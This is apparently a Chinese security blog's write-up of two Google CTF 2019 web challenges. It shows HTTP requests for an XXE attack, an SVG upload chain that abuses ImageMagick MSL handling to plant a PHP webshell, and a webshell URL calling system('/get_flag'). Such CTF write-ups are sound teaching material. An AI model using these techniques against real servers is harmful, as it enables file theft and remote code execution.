您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

Google Capture The Flag 2019 (Quals) WP

合天网安实验室 发布时间:2019-09-07 09:00:00 ,浏览量:0

0x00 前言

一篇更新的推文

0x01 BNV

题目描述:

There is not much to see in this enterprise-ready™ web application.

题目地址:

https://bnv.web.ctfcompetition.com题目解答:

burp抓包发现传输json数据

POST /api/search HTTP/1.1
Host: bnv.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://bnv.web.ctfcompetition.com/
Content-type: application/json
Content-Length: 38
Connection: close


{"message":"135601360123502401401250"}

联想到json转换为xxe进行文件读取,首先为了验证猜想直接修改HTTP头Content-type的值为application/xml,重放数据包之后发现报不解析错误,确认了猜想。

手动把json转换为xxe格式,发现报错说缺少DTD

想到之前看到的一个点,《使用本地DTD文件来利用XXE漏洞实现任意结果输出》,所以构造如下paylaod对flag进行读取。

POST /api/search HTTP/1.1
Host: bnv.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://bnv.web.ctfcompetition.com/
Content-type: application/xml
Content-Length: 374
Connection: close




        
        %eval;
        %error;
'>
    %local_dtd;
]>

最后分享一个XXE cheat sheet 0x03 gphotos

题目描述:

Upload your photoz. FYI: /info.php

题目链接:

http://gphotos.ctfcompetition.com:1337/

题目解析:

首先右键源码看源码就额可以看到这个上传功能对应的后端PHP代码

http://gphotos.ctfcompetition.com:1337/?action=src

通过阅读代码可以发现以下几点:

  1. mime_content_type来检测文件的MIME类型并且限制了只能是image/gif, image/png, image/jpeg, image/svg+xml 这四种类型。

  2. 之后使用get_size函数,这个函数对image/png, image/jpeg,会检测大小,如果是其它类型就当做xml文件来处理。

  3. 在之后就是利用thumbnail函数来得到缩略图,这其中就使用了ImageMagick的 convert命令。

  4. 上传文件会被移动到upload目录下,并且后缀是根据对应的MIME类型进行拼接的,文件名是md5之后的hash值,而且图片是经过转换之后的缩略图,所以在图片里面藏shell代码基本不可能的了。

但是目标可以处理svg图,那么就明显是要使用XXE漏洞来达到攻击的目的了。 XXE只是帮助我获取ImageMagick的配置文件,这里有一个小trick,就是在带外传输数据的时候如何传输过长的数据。

上传如下svg图


 
%remote;%template;
   ]>&res;

ev.xml文件的内容如下



但是此时的ev.xml对于直接传输一个文件而言还是不好用,所以借助php的伪协议来助攻一下。总之就是压缩之后进行base64



之后的paylaod还是借助ImageMagick在处理特殊的msl文件时会执行其中的命令来触发(这个特性好像只在debain上存在),具体的攻击流程如下:

首先使用如下命令生成包含webshell的png,上传之后主页会返回路径和文件名

convert -size 100x100 -comment '' rgba:/dev/urandom[0] shell.png

返回内容

/var/www/html/upload//.png

PS: 注意使用bash不要用zsh

之后上传我们的svg图




  
  
  
    
  

返回内容

/var/www/html/upload//.svg

最后再上传如下的svg来将上一个svg内容进行执行



  

最后执行在webroot目录下的webshell即可

http://gphotos2.ctfcompetition.com:1337/upload/shell_huihui.php?cmd=system('/get_flag')

这里学到的几个点:

  1. XXE带外传输大文件的方法

  2. Debians+不安全的ImageMagick配置将会导致href标签的伪协议读文件或者是配合msl文件执行命令like



  

网站的关键源码



    
        gPhotoz
    
    
        
关注
打赏
1665306545
查看更多评论
0.0460s